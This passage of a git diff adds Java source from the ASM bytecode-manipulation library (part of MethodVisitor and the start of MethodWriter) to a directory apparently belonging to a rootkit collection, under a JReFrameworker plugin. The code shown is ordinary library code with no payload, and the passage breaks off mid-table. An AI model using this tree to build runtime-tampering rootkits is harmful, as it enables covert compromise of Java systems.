{ + if (mv != null) { + return mv.visitAnnotation(descriptor, visible); + } + return null; + } + + /** + * Visits an annotation on a type in the method signature. + * + * @param typeRef a reference to the annotated type. The sort of this type reference must be + * {@link TypeReference#METHOD_TYPE_PARAMETER}, {@link + * TypeReference#METHOD_TYPE_PARAMETER_BOUND}, {@link TypeReference#METHOD_RETURN}, {@link + * TypeReference#METHOD_RECEIVER}, {@link TypeReference#METHOD_FORMAL_PARAMETER} or {@link + * TypeReference#THROWS}. See {@link TypeReference}. + * @param typePath the path to the annotated type argument, wildcard bound, array element type, or + * static inner type within 'typeRef'. May be {@literal null} if the annotation targets + * 'typeRef' as a whole. + * @param descriptor the class descriptor of the annotation class. + * @param visible {@literal true} if the annotation is visible at runtime. + * @return a visitor to visit the annotation values, or {@literal null} if this visitor is not + * interested in visiting this annotation. + */ + public AnnotationVisitor visitTypeAnnotation( + final int typeRef, final TypePath typePath, final String descriptor, final boolean visible) { + if (api < Opcodes.ASM5) { + throw new UnsupportedOperationException(REQUIRES_ASM5); + } + if (mv != null) { + return mv.visitTypeAnnotation(typeRef, typePath, descriptor, visible); + } + return null; + } + + /** + * Visits the number of method parameters that can have annotations. By default (i.e. when this + * method is not called), all the method parameters defined by the method descriptor can have + * annotations. + * + * @param parameterCount the number of method parameters than can have annotations. This number + * must be less or equal than the number of parameter types in the method descriptor. It can + * be strictly less when a method has synthetic parameters and when these parameters are + * ignored when computing parameter indices for the purpose of parameter annotations (see + * https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.18). + * @param visible {@literal true} to define the number of method parameters that can have + * annotations visible at runtime, {@literal false} to define the number of method parameters + * that can have annotations invisible at runtime. + */ + public void visitAnnotableParameterCount(final int parameterCount, final boolean visible) { + if (mv != null) { + mv.visitAnnotableParameterCount(parameterCount, visible); + } + } + + /** + * Visits an annotation of a parameter this method. + * + * @param parameter the parameter index. This index must be strictly smaller than the number of + * parameters in the method descriptor, and strictly smaller than the parameter count + * specified in {@link #visitAnnotableParameterCount}. Important note: a parameter index i + * is not required to correspond to the i'th parameter descriptor in the method + * descriptor, in particular in case of synthetic parameters (see + * https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.18). + * @param descriptor the class descriptor of the annotation class. + * @param visible {@literal true} if the annotation is visible at runtime. + * @return a visitor to visit the annotation values, or {@literal null} if this visitor is not + * interested in visiting this annotation. + */ + public AnnotationVisitor visitParameterAnnotation( + final int parameter, final String descriptor, final boolean visible) { + if (mv != null) { + return mv.visitParameterAnnotation(parameter, descriptor, visible); + } + return null; + } + + /** + * Visits a non standard attribute of this method. + * + * @param attribute an attribute. + */ + public void visitAttribute(final Attribute attribute) { + if (mv != null) { + mv.visitAttribute(attribute); + } + } + + /** Starts the visit of the method's code, if any (i.e. non abstract method). */ + public void visitCode() { + if (mv != null) { + mv.visitCode(); + } + } + + /** + * Visits the current state of the local variables and operand stack elements. This method must(*) + * be called just before any instruction i that follows an unconditional branch + * instruction such as GOTO or THROW, that is the target of a jump instruction, or that starts an + * exception handler block. The visited types must describe the values of the local variables and + * of the operand stack elements just before i is executed.
+ *
+ * (*) this is mandatory only for classes whose version is greater than or equal to {@link + * Opcodes#V1_6}.
+ *
+ * The frames of a method must be given either in expanded form, or in compressed form (all frames + * must use the same format, i.e. you must not mix expanded and compressed frames within a single + * method): + * + *

    + *
  • In expanded form, all frames must have the F_NEW type. + *
  • In compressed form, frames are basically "deltas" from the state of the previous frame: + *
      + *
    • {@link Opcodes#F_SAME} representing frame with exactly the same locals as the + * previous frame and with the empty stack. + *
    • {@link Opcodes#F_SAME1} representing frame with exactly the same locals as the + * previous frame and with single value on the stack ( numStack is 1 and + * stack[0] contains value for the type of the stack item). + *
    • {@link Opcodes#F_APPEND} representing frame with current locals are the same as the + * locals in the previous frame, except that additional locals are defined ( + * numLocal is 1, 2 or 3 and local elements contains values + * representing added types). + *
    • {@link Opcodes#F_CHOP} representing frame with current locals are the same as the + * locals in the previous frame, except that the last 1-3 locals are absent and with + * the empty stack (numLocal is 1, 2 or 3). + *
    • {@link Opcodes#F_FULL} representing complete frame data. + *
    + *
+ * + *
+ * In both cases the first frame, corresponding to the method's parameters and access flags, is + * implicit and must not be visited. Also, it is illegal to visit two or more frames for the same + * code location (i.e., at least one instruction must be visited between two calls to visitFrame). + * + * @param type the type of this stack map frame. Must be {@link Opcodes#F_NEW} for expanded + * frames, or {@link Opcodes#F_FULL}, {@link Opcodes#F_APPEND}, {@link Opcodes#F_CHOP}, {@link + * Opcodes#F_SAME} or {@link Opcodes#F_APPEND}, {@link Opcodes#F_SAME1} for compressed frames. + * @param numLocal the number of local variables in the visited frame. + * @param local the local variable types in this frame. This array must not be modified. Primitive + * types are represented by {@link Opcodes#TOP}, {@link Opcodes#INTEGER}, {@link + * Opcodes#FLOAT}, {@link Opcodes#LONG}, {@link Opcodes#DOUBLE}, {@link Opcodes#NULL} or + * {@link Opcodes#UNINITIALIZED_THIS} (long and double are represented by a single element). + * Reference types are represented by String objects (representing internal names), and + * uninitialized types by Label objects (this label designates the NEW instruction that + * created this uninitialized value). + * @param numStack the number of operand stack elements in the visited frame. + * @param stack the operand stack types in this frame. This array must not be modified. Its + * content has the same format as the "local" array. + * @throws IllegalStateException if a frame is visited just after another one, without any + * instruction between the two (unless this frame is a Opcodes#F_SAME frame, in which case it + * is silently ignored). + */ + public void visitFrame( + final int type, + final int numLocal, + final Object[] local, + final int numStack, + final Object[] stack) { + if (mv != null) { + mv.visitFrame(type, numLocal, local, numStack, stack); + } + } + + // ----------------------------------------------------------------------------------------------- + // Normal instructions + // ----------------------------------------------------------------------------------------------- + + /** + * Visits a zero operand instruction. + * + * @param opcode the opcode of the instruction to be visited. This opcode is either NOP, + * ACONST_NULL, ICONST_M1, ICONST_0, ICONST_1, ICONST_2, ICONST_3, ICONST_4, ICONST_5, + * LCONST_0, LCONST_1, FCONST_0, FCONST_1, FCONST_2, DCONST_0, DCONST_1, IALOAD, LALOAD, + * FALOAD, DALOAD, AALOAD, BALOAD, CALOAD, SALOAD, IASTORE, LASTORE, FASTORE, DASTORE, + * AASTORE, BASTORE, CASTORE, SASTORE, POP, POP2, DUP, DUP_X1, DUP_X2, DUP2, DUP2_X1, DUP2_X2, + * SWAP, IADD, LADD, FADD, DADD, ISUB, LSUB, FSUB, DSUB, IMUL, LMUL, FMUL, DMUL, IDIV, LDIV, + * FDIV, DDIV, IREM, LREM, FREM, DREM, INEG, LNEG, FNEG, DNEG, ISHL, LSHL, ISHR, LSHR, IUSHR, + * LUSHR, IAND, LAND, IOR, LOR, IXOR, LXOR, I2L, I2F, I2D, L2I, L2F, L2D, F2I, F2L, F2D, D2I, + * D2L, D2F, I2B, I2C, I2S, LCMP, FCMPL, FCMPG, DCMPL, DCMPG, IRETURN, LRETURN, FRETURN, + * DRETURN, ARETURN, RETURN, ARRAYLENGTH, ATHROW, MONITORENTER, or MONITOREXIT. + */ + public void visitInsn(final int opcode) { + if (mv != null) { + mv.visitInsn(opcode); + } + } + + /** + * Visits an instruction with a single int operand. + * + * @param opcode the opcode of the instruction to be visited. This opcode is either BIPUSH, SIPUSH + * or NEWARRAY. + * @param operand the operand of the instruction to be visited.
+ * When opcode is BIPUSH, operand value should be between Byte.MIN_VALUE and Byte.MAX_VALUE. + *
+ * When opcode is SIPUSH, operand value should be between Short.MIN_VALUE and Short.MAX_VALUE. + *
+ * When opcode is NEWARRAY, operand value should be one of {@link Opcodes#T_BOOLEAN}, {@link + * Opcodes#T_CHAR}, {@link Opcodes#T_FLOAT}, {@link Opcodes#T_DOUBLE}, {@link Opcodes#T_BYTE}, + * {@link Opcodes#T_SHORT}, {@link Opcodes#T_INT} or {@link Opcodes#T_LONG}. + */ + public void visitIntInsn(final int opcode, final int operand) { + if (mv != null) { + mv.visitIntInsn(opcode, operand); + } + } + + /** + * Visits a local variable instruction. A local variable instruction is an instruction that loads + * or stores the value of a local variable. + * + * @param opcode the opcode of the local variable instruction to be visited. This opcode is either + * ILOAD, LLOAD, FLOAD, DLOAD, ALOAD, ISTORE, LSTORE, FSTORE, DSTORE, ASTORE or RET. + * @param var the operand of the instruction to be visited. This operand is the index of a local + * variable. + */ + public void visitVarInsn(final int opcode, final int var) { + if (mv != null) { + mv.visitVarInsn(opcode, var); + } + } + + /** + * Visits a type instruction. A type instruction is an instruction that takes the internal name of + * a class as parameter. + * + * @param opcode the opcode of the type instruction to be visited. This opcode is either NEW, + * ANEWARRAY, CHECKCAST or INSTANCEOF. + * @param type the operand of the instruction to be visited. This operand must be the internal + * name of an object or array class (see {@link Type#getInternalName()}). + */ + public void visitTypeInsn(final int opcode, final String type) { + if (mv != null) { + mv.visitTypeInsn(opcode, type); + } + } + + /** + * Visits a field instruction. A field instruction is an instruction that loads or stores the + * value of a field of an object. + * + * @param opcode the opcode of the type instruction to be visited. This opcode is either + * GETSTATIC, PUTSTATIC, GETFIELD or PUTFIELD. + * @param owner the internal name of the field's owner class (see {@link Type#getInternalName()}). + * @param name the field's name. + * @param descriptor the field's descriptor (see {@link Type}). + */ + public void visitFieldInsn( + final int opcode, final String owner, final String name, final String descriptor) { + if (mv != null) { + mv.visitFieldInsn(opcode, owner, name, descriptor); + } + } + + /** + * Visits a method instruction. A method instruction is an instruction that invokes a method. + * + * @param opcode the opcode of the type instruction to be visited. This opcode is either + * INVOKEVIRTUAL, INVOKESPECIAL, INVOKESTATIC or INVOKEINTERFACE. + * @param owner the internal name of the method's owner class (see {@link + * Type#getInternalName()}). + * @param name the method's name. + * @param descriptor the method's descriptor (see {@link Type}). + * @deprecated use {@link #visitMethodInsn(int, String, String, String, boolean)} instead. + */ + @Deprecated + public void visitMethodInsn( + final int opcode, final String owner, final String name, final String descriptor) { + if (api >= Opcodes.ASM5) { + boolean isInterface = opcode == Opcodes.INVOKEINTERFACE; + visitMethodInsn(opcode, owner, name, descriptor, isInterface); + return; + } + if (mv != null) { + mv.visitMethodInsn(opcode, owner, name, descriptor); + } + } + + /** + * Visits a method instruction. A method instruction is an instruction that invokes a method. + * + * @param opcode the opcode of the type instruction to be visited. This opcode is either + * INVOKEVIRTUAL, INVOKESPECIAL, INVOKESTATIC or INVOKEINTERFACE. + * @param owner the internal name of the method's owner class (see {@link + * Type#getInternalName()}). + * @param name the method's name. + * @param descriptor the method's descriptor (see {@link Type}). + * @param isInterface if the method's owner class is an interface. + */ + public void visitMethodInsn( + final int opcode, + final String owner, + final String name, + final String descriptor, + final boolean isInterface) { + if (api < Opcodes.ASM5) { + if (isInterface != (opcode == Opcodes.INVOKEINTERFACE)) { + throw new IllegalArgumentException("INVOKESPECIAL/STATIC on interfaces requires ASM5"); + } + visitMethodInsn(opcode, owner, name, descriptor); + return; + } + if (mv != null) { + mv.visitMethodInsn(opcode, owner, name, descriptor, isInterface); + } + } + + /** + * Visits an invokedynamic instruction. + * + * @param name the method's name. + * @param descriptor the method's descriptor (see {@link Type}). + * @param bootstrapMethodHandle the bootstrap method. + * @param bootstrapMethodArguments the bootstrap method constant arguments. Each argument must be + * an {@link Integer}, {@link Float}, {@link Long}, {@link Double}, {@link String}, {@link + * Type}, {@link Handle} or {@link ConstantDynamic} value. This method is allowed to modify + * the content of the array so a caller should expect that this array may change. + */ + public void visitInvokeDynamicInsn( + final String name, + final String descriptor, + final Handle bootstrapMethodHandle, + final Object... bootstrapMethodArguments) { + if (api < Opcodes.ASM5) { + throw new UnsupportedOperationException(REQUIRES_ASM5); + } + if (mv != null) { + mv.visitInvokeDynamicInsn(name, descriptor, bootstrapMethodHandle, bootstrapMethodArguments); + } + } + + /** + * Visits a jump instruction. A jump instruction is an instruction that may jump to another + * instruction. + * + * @param opcode the opcode of the type instruction to be visited. This opcode is either IFEQ, + * IFNE, IFLT, IFGE, IFGT, IFLE, IF_ICMPEQ, IF_ICMPNE, IF_ICMPLT, IF_ICMPGE, IF_ICMPGT, + * IF_ICMPLE, IF_ACMPEQ, IF_ACMPNE, GOTO, JSR, IFNULL or IFNONNULL. + * @param label the operand of the instruction to be visited. This operand is a label that + * designates the instruction to which the jump instruction may jump. + */ + public void visitJumpInsn(final int opcode, final Label label) { + if (mv != null) { + mv.visitJumpInsn(opcode, label); + } + } + + /** + * Visits a label. A label designates the instruction that will be visited just after it. + * + * @param label a {@link Label} object. + */ + public void visitLabel(final Label label) { + if (mv != null) { + mv.visitLabel(label); + } + } + + // ----------------------------------------------------------------------------------------------- + // Special instructions + // ----------------------------------------------------------------------------------------------- + + /** + * Visits a LDC instruction. Note that new constant types may be added in future versions of the + * Java Virtual Machine. To easily detect new constant types, implementations of this method + * should check for unexpected constant types, like this: + * + *
+   * if (cst instanceof Integer) {
+   *     // ...
+   * } else if (cst instanceof Float) {
+   *     // ...
+   * } else if (cst instanceof Long) {
+   *     // ...
+   * } else if (cst instanceof Double) {
+   *     // ...
+   * } else if (cst instanceof String) {
+   *     // ...
+   * } else if (cst instanceof Type) {
+   *     int sort = ((Type) cst).getSort();
+   *     if (sort == Type.OBJECT) {
+   *         // ...
+   *     } else if (sort == Type.ARRAY) {
+   *         // ...
+   *     } else if (sort == Type.METHOD) {
+   *         // ...
+   *     } else {
+   *         // throw an exception
+   *     }
+   * } else if (cst instanceof Handle) {
+   *     // ...
+   * } else if (cst instanceof ConstantDynamic) {
+   *     // ...
+   * } else {
+   *     // throw an exception
+   * }
+   * 
+ * + * @param value the constant to be loaded on the stack. This parameter must be a non null {@link + * Integer}, a {@link Float}, a {@link Long}, a {@link Double}, a {@link String}, a {@link + * Type} of OBJECT or ARRAY sort for {@code .class} constants, for classes whose version is + * 49, a {@link Type} of METHOD sort for MethodType, a {@link Handle} for MethodHandle + * constants, for classes whose version is 51 or a {@link ConstantDynamic} for a constant + * dynamic for classes whose version is 55. + */ + public void visitLdcInsn(final Object value) { + if (api < Opcodes.ASM5 + && (value instanceof Handle + || (value instanceof Type && ((Type) value).getSort() == Type.METHOD))) { + throw new UnsupportedOperationException(REQUIRES_ASM5); + } + if (api != Opcodes.ASM7 && value instanceof ConstantDynamic) { + throw new UnsupportedOperationException("This feature requires ASM7"); + } + if (mv != null) { + mv.visitLdcInsn(value); + } + } + + /** + * Visits an IINC instruction. + * + * @param var index of the local variable to be incremented. + * @param increment amount to increment the local variable by. + */ + public void visitIincInsn(final int var, final int increment) { + if (mv != null) { + mv.visitIincInsn(var, increment); + } + } + + /** + * Visits a TABLESWITCH instruction. + * + * @param min the minimum key value. + * @param max the maximum key value. + * @param dflt beginning of the default handler block. + * @param labels beginnings of the handler blocks. {@code labels[i]} is the beginning of the + * handler block for the {@code min + i} key. + */ + public void visitTableSwitchInsn( + final int min, final int max, final Label dflt, final Label... labels) { + if (mv != null) { + mv.visitTableSwitchInsn(min, max, dflt, labels); + } + } + + /** + * Visits a LOOKUPSWITCH instruction. + * + * @param dflt beginning of the default handler block. + * @param keys the values of the keys. + * @param labels beginnings of the handler blocks. {@code labels[i]} is the beginning of the + * handler block for the {@code keys[i]} key. + */ + public void visitLookupSwitchInsn(final Label dflt, final int[] keys, final Label[] labels) { + if (mv != null) { + mv.visitLookupSwitchInsn(dflt, keys, labels); + } + } + + /** + * Visits a MULTIANEWARRAY instruction. + * + * @param descriptor an array type descriptor (see {@link Type}). + * @param numDimensions the number of dimensions of the array to allocate. + */ + public void visitMultiANewArrayInsn(final String descriptor, final int numDimensions) { + if (mv != null) { + mv.visitMultiANewArrayInsn(descriptor, numDimensions); + } + } + + /** + * Visits an annotation on an instruction. This method must be called just after the + * annotated instruction. It can be called several times for the same instruction. + * + * @param typeRef a reference to the annotated type. The sort of this type reference must be + * {@link TypeReference#INSTANCEOF}, {@link TypeReference#NEW}, {@link + * TypeReference#CONSTRUCTOR_REFERENCE}, {@link TypeReference#METHOD_REFERENCE}, {@link + * TypeReference#CAST}, {@link TypeReference#CONSTRUCTOR_INVOCATION_TYPE_ARGUMENT}, {@link + * TypeReference#METHOD_INVOCATION_TYPE_ARGUMENT}, {@link + * TypeReference#CONSTRUCTOR_REFERENCE_TYPE_ARGUMENT}, or {@link + * TypeReference#METHOD_REFERENCE_TYPE_ARGUMENT}. See {@link TypeReference}. + * @param typePath the path to the annotated type argument, wildcard bound, array element type, or + * static inner type within 'typeRef'. May be {@literal null} if the annotation targets + * 'typeRef' as a whole. + * @param descriptor the class descriptor of the annotation class. + * @param visible {@literal true} if the annotation is visible at runtime. + * @return a visitor to visit the annotation values, or {@literal null} if this visitor is not + * interested in visiting this annotation. + */ + public AnnotationVisitor visitInsnAnnotation( + final int typeRef, final TypePath typePath, final String descriptor, final boolean visible) { + if (api < Opcodes.ASM5) { + throw new UnsupportedOperationException(REQUIRES_ASM5); + } + if (mv != null) { + return mv.visitInsnAnnotation(typeRef, typePath, descriptor, visible); + } + return null; + } + + // ----------------------------------------------------------------------------------------------- + // Exceptions table entries, debug information, max stack and max locals + // ----------------------------------------------------------------------------------------------- + + /** + * Visits a try catch block. + * + * @param start the beginning of the exception handler's scope (inclusive). + * @param end the end of the exception handler's scope (exclusive). + * @param handler the beginning of the exception handler's code. + * @param type the internal name of the type of exceptions handled by the handler, or {@literal + * null} to catch any exceptions (for "finally" blocks). + * @throws IllegalArgumentException if one of the labels has already been visited by this visitor + * (by the {@link #visitLabel} method). + */ + public void visitTryCatchBlock( + final Label start, final Label end, final Label handler, final String type) { + if (mv != null) { + mv.visitTryCatchBlock(start, end, handler, type); + } + } + + /** + * Visits an annotation on an exception handler type. This method must be called after the + * {@link #visitTryCatchBlock} for the annotated exception handler. It can be called several times + * for the same exception handler. + * + * @param typeRef a reference to the annotated type. The sort of this type reference must be + * {@link TypeReference#EXCEPTION_PARAMETER}. See {@link TypeReference}. + * @param typePath the path to the annotated type argument, wildcard bound, array element type, or + * static inner type within 'typeRef'. May be {@literal null} if the annotation targets + * 'typeRef' as a whole. + * @param descriptor the class descriptor of the annotation class. + * @param visible {@literal true} if the annotation is visible at runtime. + * @return a visitor to visit the annotation values, or {@literal null} if this visitor is not + * interested in visiting this annotation. + */ + public AnnotationVisitor visitTryCatchAnnotation( + final int typeRef, final TypePath typePath, final String descriptor, final boolean visible) { + if (api < Opcodes.ASM5) { + throw new UnsupportedOperationException(REQUIRES_ASM5); + } + if (mv != null) { + return mv.visitTryCatchAnnotation(typeRef, typePath, descriptor, visible); + } + return null; + } + + /** + * Visits a local variable declaration. + * + * @param name the name of a local variable. + * @param descriptor the type descriptor of this local variable. + * @param signature the type signature of this local variable. May be {@literal null} if the local + * variable type does not use generic types. + * @param start the first instruction corresponding to the scope of this local variable + * (inclusive). + * @param end the last instruction corresponding to the scope of this local variable (exclusive). + * @param index the local variable's index. + * @throws IllegalArgumentException if one of the labels has not already been visited by this + * visitor (by the {@link #visitLabel} method). + */ + public void visitLocalVariable( + final String name, + final String descriptor, + final String signature, + final Label start, + final Label end, + final int index) { + if (mv != null) { + mv.visitLocalVariable(name, descriptor, signature, start, end, index); + } + } + + /** + * Visits an annotation on a local variable type. + * + * @param typeRef a reference to the annotated type. The sort of this type reference must be + * {@link TypeReference#LOCAL_VARIABLE} or {@link TypeReference#RESOURCE_VARIABLE}. See {@link + * TypeReference}. + * @param typePath the path to the annotated type argument, wildcard bound, array element type, or + * static inner type within 'typeRef'. May be {@literal null} if the annotation targets + * 'typeRef' as a whole. + * @param start the fist instructions corresponding to the continuous ranges that make the scope + * of this local variable (inclusive). + * @param end the last instructions corresponding to the continuous ranges that make the scope of + * this local variable (exclusive). This array must have the same size as the 'start' array. + * @param index the local variable's index in each range. This array must have the same size as + * the 'start' array. + * @param descriptor the class descriptor of the annotation class. + * @param visible {@literal true} if the annotation is visible at runtime. + * @return a visitor to visit the annotation values, or {@literal null} if this visitor is not + * interested in visiting this annotation. + */ + public AnnotationVisitor visitLocalVariableAnnotation( + final int typeRef, + final TypePath typePath, + final Label[] start, + final Label[] end, + final int[] index, + final String descriptor, + final boolean visible) { + if (api < Opcodes.ASM5) { + throw new UnsupportedOperationException(REQUIRES_ASM5); + } + if (mv != null) { + return mv.visitLocalVariableAnnotation( + typeRef, typePath, start, end, index, descriptor, visible); + } + return null; + } + + /** + * Visits a line number declaration. + * + * @param line a line number. This number refers to the source file from which the class was + * compiled. + * @param start the first instruction corresponding to this line number. + * @throws IllegalArgumentException if {@code start} has not already been visited by this visitor + * (by the {@link #visitLabel} method). + */ + public void visitLineNumber(final int line, final Label start) { + if (mv != null) { + mv.visitLineNumber(line, start); + } + } + + /** + * Visits the maximum stack size and the maximum number of local variables of the method. + * + * @param maxStack maximum stack size of the method. + * @param maxLocals maximum number of local variables for the method. + */ + public void visitMaxs(final int maxStack, final int maxLocals) { + if (mv != null) { + mv.visitMaxs(maxStack, maxLocals); + } + } + + /** + * Visits the end of the method. This method, which is the last one to be called, is used to + * inform the visitor that all the annotations and attributes of the method have been visited. + */ + public void visitEnd() { + if (mv != null) { + mv.visitEnd(); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/MethodWriter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/MethodWriter.java new file mode 100644 index 0000000..50cc2ad --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/MethodWriter.java @@ -0,0 +1,2441 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A {@link MethodVisitor} that generates a corresponding 'method_info' structure, as defined in the + * Java Virtual Machine Specification (JVMS). + * + * @see JVMS + * 4.6 + * @author Eric Bruneton + * @author Eugene Kuleshov + */ +final class MethodWriter extends MethodVisitor { + + /** Indicates that nothing must be computed. */ + static final int COMPUTE_NOTHING = 0; + + /** + * Indicates that the maximum stack size and the maximum number of local variables must be + * computed, from scratch. + */ + static final int COMPUTE_MAX_STACK_AND_LOCAL = 1; + + /** + * Indicates that the maximum stack size and the maximum number of local variables must be + * computed, from the existing stack map frames. This can be done more efficiently than with the + * control flow graph algorithm used for {@link #COMPUTE_MAX_STACK_AND_LOCAL}, by using a linear + * scan of the bytecode instructions. + */ + static final int COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES = 2; + + /** + * Indicates that the stack map frames of type F_INSERT must be computed. The other frames are not + * computed. They should all be of type F_NEW and should be sufficient to compute the content of + * the F_INSERT frames, together with the bytecode instructions between a F_NEW and a F_INSERT + * frame - and without any knowledge of the type hierarchy (by definition of F_INSERT). + */ + static final int COMPUTE_INSERTED_FRAMES = 3; + + /** + * Indicates that all the stack map frames must be computed. In this case the maximum stack size + * and the maximum number of local variables is also computed. + */ + static final int COMPUTE_ALL_FRAMES = 4; + + /** Indicates that {@link #STACK_SIZE_DELTA} is not applicable (not constant or never used). */ + private static final int NA = 0; + + /** + * The stack size variation corresponding to each JVM opcode. The stack size variation for opcode + * 'o' is given by the array element at index 'o'. + * + * @see JVMS 6 + */ + private static final int[] STACK_SIZE_DELTA = { + 0, // nop = 0 (0x0) + 1, // aconst_null = 1 (0x1) + 1, // iconst_m1 = 2 (0x2) + 1, // iconst_0 = 3 (0x3) + 1, // iconst_1 = 4 (0x4) + 1, // iconst_2 = 5 (0x5) + 1, // iconst_3 = 6 (0x6) + 1, // iconst_4 = 7 (0x7) + 1, // iconst_5 = 8 (0x8) + 2, // lconst_0 = 9 (0x9) + 2, // lconst_1 = 10 (0xa) + 1, // fconst_0 = 11 (0xb) + 1, // fconst_1 = 12 (0xc) + 1, // fconst_2 = 13 (0xd) + 2, // dconst_0 = 14 (0xe) + 2, // dconst_1 = 15 (0xf) + 1, // bipush = 16 (0x10) + 1, // sipush = 17 (0x11) + 1, // ldc = 18 (0x12) + NA, // ldc_w = 19 (0x13) + NA, // ldc2_w = 20 (0x14) + 1, // iload = 21 (0x15) + 2, // lload = 22 (0x16) + 1, // fload = 23 (0x17) + 2, // dload = 24 (0x18) + 1, // aload = 25 (0x19) + NA, // iload_0 = 26 (0x1a) + NA, // iload_1 = 27 (0x1b) + NA, // iload_2 = 28 (0x1c) + NA, // iload_3 = 29 (0x1d) + NA, // lload_0 = 30 (0x1e) + NA, // lload_1 = 31 (0x1f) + NA, // lload_2 = 32 (0x20) + NA, // lload_3 = 33 (0x21) + NA, // fload_0 = 34 (0x22) + NA, // fload_1 = 35 (0x23) + NA, // fload_2 = 36 (0x24) + NA, // fload_3 = 37 (0x25) + NA, // dload_0 = 38 (0x26) + NA, // dload_1 = 39 (0x27) + NA, // dload_2 = 40 (0x28) + NA, // dload_3 = 41 (0x29) + NA, // aload_0 = 42 (0x2a) + NA, // aload_1 = 43 (0x2b) + NA, // aload_2 = 44 (0x2c) + NA, // aload_3 = 45 (0x2d) + -1, // iaload = 46 (0x2e) + 0, // laload = 47 (0x2f) + -1, // faload = 48 (0x30) + 0, // daload = 49 (0x31) + -1, // aaload = 50 (0x32) + -1, // baload = 51 (0x33) + -1, // caload = 52 (0x34) + -1, // saload = 53 (0x35) + -1, // istore = 54 (0x36) + -2, // lstore = 55 (0x37) + -1, // fstore = 56 (0x38) + -2, // dstore = 57 (0x39) + -1, // astore = 58 (0x3a) + NA, // istore_0 = 59 (0x3b) + NA, // istore_1 = 60 (0x3c) + NA, // istore_2 = 61 (0x3d) + NA, // istore_3 = 62 (0x3e) + NA, // lstore_0 = 63 (0x3f) + NA, // lstore_1 = 64 (0x40) + NA, // lstore_2 = 65 (0x41) + NA, // lstore_3 = 66 (0x42) + NA, // fstore_0 = 67 (0x43) + NA, // fstore_1 = 68 (0x44) + NA, // fstore_2 = 69 (0x45) + NA, // fstore_3 = 70 (0x46) + NA, // dstore_0 = 71 (0x47) + NA, // dstore_1 = 72 (0x48) + NA, // dstore_2 = 73 (0x49) + NA, // dstore_3 = 74 (0x4a) + NA, // astore_0 = 75 (0x4b) + NA, // astore_1 = 76 (0x4c) + NA, // astore_2 = 77 (0x4d) + NA, // astore_3 = 78 (0x4e) + -3, // iastore = 79 (0x4f) + -4, // lastore = 80 (0x50) + -3, // fastore = 81 (0x51) + -4, // dastore = 82 (0x52) + -3, // aastore = 83 (0x53) + -3, // bastore = 84 (0x54) + -3, // castore = 85 (0x55) + -3, // sastore = 86 (0x56) + -1, // pop = 87 (0x57) + -2, // pop2 = 88 (0x58) + 1, // dup = 89 (0x59) + 1, // dup_x1 = 90 (0x5a) + 1, // dup_x2 = 91 (0x5b) + 2, // dup2 = 92 (0x5c) + 2, // dup2_x1 = 93 (0x5d) + 2, // dup2_x2 = 94 (0x5e) + 0, // swap = 95 (0x5f) + -1, // iadd = 96 (0x60) + -2, // ladd = 97 (0x61) + -1, // fadd = 98 (0x62) + -2, // dadd = 99 (0x63) + -1, // isub = 100 (0x64) + -2, // lsub = 101 (0x65) + -1, // fsub = 102 (0x66) + -2, // dsub = 103 (0x67) + -1, // imul = 104 (0x68) + -2, // lmul = 105 (0x69) + -1, // fmul = 106 (0x6a) + -2, // dmul = 107 (0x6b) + -1, // idiv = 108 (0x6c) + -2, // ldiv = 109 (0x6d) + -1, // fdiv = 110 (0x6e) + -2, // ddiv = 111 (0x6f) + -1, // irem = 112 (0x70) + -2, // lrem = 113 (0x71) + -1, // frem = 114 (0x72) + -2, // drem = 115 (0x73) + 0, // ineg = 116 (0x74) + 0, // lneg = 117 (0x75) + 0, // fneg = 118 (0x76) + 0, // dneg = 119 (0x77) + -1, // ishl = 120 (0x78) + -1, // lshl = 121 (0x79) + -1, // ishr = 122 (0x7a) + -1, // lshr = 123 (0x7b) + -1, // iushr = 124 (0x7c) + -1, // lushr = 125 (0x7d) + -1, // iand = 126 (0x7e) + -2, // land = 127 (0x7f) + -1, // ior = 128 (0x80) + -2, // lor = 129 (0x81) + -1, // ixor = 130 (0x82) + -2, // lxor = 131 (0x83) + 0, // iinc = 132 (0x84) + 1, // i2l = 133 (0x85) + 0, // i2f = 134 (0x86) + 1, // i2d = 135 (0x87) + -1, // l2i = 136 (0x88) + -1, // l2f = 137 (0x89) + 0, // l2d = 138 (0x8a) + 0, // f2i = 139 (0x8b) + 1, // f2l = 140 (0x8c) + 1, // f2d = 141 (0x8d) + -1, // d2i = 142 (0x8e) + 0, // d2l = 